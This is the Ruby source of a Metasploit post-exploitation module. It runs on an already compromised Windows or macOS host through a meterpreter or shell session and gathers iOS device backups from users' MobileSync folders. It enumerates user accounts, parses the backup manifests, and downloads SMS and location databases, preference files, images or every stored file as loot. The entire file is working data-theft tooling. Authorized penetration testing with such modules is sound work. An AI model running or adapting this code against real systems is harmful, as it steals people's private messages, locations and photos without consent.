##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Version

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',
        'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },
        'License' => MSF_LICENSE,
        'Author' => [
          'hdm',
          'bannedit' # Based on bannedit's pidgin_cred module structure
        ],
        'Platform' => %w[osx win],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_channel_eof
              core_channel_open
              core_channel_read
              core_channel_write
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
            ]
          }
        }
      )
    )
    register_options(
      [
        OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),
        OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
        OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
        OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
      ]
    )
  end

  #
  # Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
  #
  #
  def run
    case session.platform
    when 'osx'
      @platform = :osx
      paths = enum_users_unix
    when 'windows'
      @platform = :windows
      drive = session.sys.config.getenv('SystemDrive')
      version = get_version_info

      if version.build_number >= Msf::WindowsVersion::Vista_SP0
        @appdata = '\\AppData\\Roaming'
        @users = drive + '\\Users'
      else
        @appdata = '\\Application Data'
        @users = drive + '\\Documents and Settings'
      end

      if session.type != 'meterpreter'
        print_error 'Only meterpreter sessions are supported on windows hosts'
        return
      end
      paths = enum_users_windows
    else
      print_error "Unsupported platform #{session.platform}"
      return
    end

    if paths.empty?
      print_status('No users found with an iTunes backup directory')
      return
    end

    process_backups(paths)
  end

  def enum_users_unix
    if @platform == :osx
      home = '/Users/'
    else
      home = '/home/'
    end

    if got_root?
      userdirs = []
      session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|
        userdirs << home + user_name
      end
      userdirs << '/root'
    else
      userdirs = [ home + whoami ]
    end

    backup_paths = []
    userdirs.each do |user_dir|
      output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")
      if output =~ /No such file/i
        next
      else
        print_status("Found backup directory in: #{user_dir}")
        backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"
      end
    end

    check_for_backups_unix(backup_paths)
  end

  def check_for_backups_unix(backup_dirs)
    dirs = []
    backup_dirs.each do |backup_dir|
      print_status("Checking for backups in #{backup_dir}")
      session.shell_command("ls #{backup_dir}").each_line do |dir|
        next if dir == '.' || dir == '..'

        if dir =~ /^[0-9a-f]{16}/i
          print_status("Found #{backup_dir}\\#{dir}")
          dirs << ::File.join(backup_dir.chomp, dir.chomp)
        end
      end
    end
    dirs
  end

  def enum_users_windows
    paths = Array.new

    if got_root?
      begin
        session.fs.dir.foreach(@users) do |path|
          next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i

          bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
          dirs = check_for_backups_win(bdir)
          dirs.each { |dir| paths << dir } if dirs
        end
      rescue ::Rex::Post::Meterpreter::RequestError
        # Handle the case of the @users base directory is not accessible
      end
    else
      print_status "Only checking #{whoami} account since we do not have SYSTEM..."
      path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
      dirs = check_for_backups_win(path)
      dirs.each { |dir| paths << dir } if dirs
    end
    return paths
  end

  def check_for_backups_win(bdir)
    dirs = []
    begin
      print_status("Checking for backups in #{bdir}")
      session.fs.dir.foreach(bdir) do |dir|
        if dir =~ /^[0-9a-f]{16}/i
          print_status("Found #{bdir}\\#{dir}")
          dirs << "#{bdir}\\#{dir}"
        end
      end
    rescue Rex::Post::Meterpreter::RequestError
      # Handle base directories that do not exist
    end
    dirs
  end

  def process_backups(paths)
    paths.each { |path| process_backup(path) }
  end

  def process_backup(path)
    print_status("Pulling data from #{path}...")

    mbdb_data = ''
    mbdx_data = ''

    print_status("Reading Manifest.mbdb from #{path}...")
    if session.type == 'shell'
      mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
      if mbdb_data =~ /No such file/i
        print_status("Manifest.mbdb not found in #{path}...")
        return
      end
    else
      mfd = session.fs.file.new("#{path}\\Manifest.mbdb", 'rb')
      mbdb_data << mfd.read until mfd.eof?
      mfd.close
    end

    print_status("Reading Manifest.mbdx from #{path}...")
    if session.type == 'shell'
      mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
      if mbdx_data =~ /No such file/i
        print_status("Manifest.mbdx not found in #{path}...")
        return
      end
    else
      mfd = session.fs.file.new("#{path}\\Manifest.mbdx", 'rb')
      mbdx_data << mfd.read until mfd.eof?
      mfd.close
    end

    manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)

    patterns = []
    patterns << /\.db$/i if datastore['DATABASES']
    patterns << /\.plist$/i if datastore['PLISTS']
    patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
    patterns << /.*/ if datastore['EVERYTHING']

    done = {}
    patterns.each do |pat|
      manifest.entries.each_pair do |fname, info|
        next if done[fname]
        next if info[:filename].to_s !~ pat

        print_status("Downloading #{info[:domain]} #{info[:filename]}...")

        begin
          fdata = ''
          if session.type == 'shell'
            fdata = session.shell_command("cat #{path}/#{fname}")
          else
            mfd = session.fs.file.new("#{path}\\#{fname}", 'rb')
            fdata << mfd.read until mfd.eof?
            mfd.close
          end
          bname = info[:filename] || 'unknown.bin'
          rname = info[:domain].to_s + '_' + bname
          rname = rname.gsub(%r{/|\\}, '.').gsub(/\s+/, '_').gsub(/[^A-Za-z0-9._]/, '').gsub(/_+/, '_')
          ctype = 'application/octet-stream'

          store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")
        rescue ::Interrupt
          raise $ERROR_INFO
        rescue ::Exception => e
          print_error("Failed to download #{fname}: #{e.class} #{e}")
        end

        done[fname] = true
      end
    end
  end

  def got_root?
    case @platform
    when :windows
      if session.sys.config.getuid =~ /SYSTEM/
        return true
      else
        return false
      end
    else # unix, bsd, linux, osx
      ret = whoami
      if ret =~ /root/
        return true
      else
        return false
      end
    end
  end

  def whoami
    if @platform == :windows
      session.sys.config.getenv('USERNAME')
    else
      session.shell_command('whoami').chomp
    end
  end
end
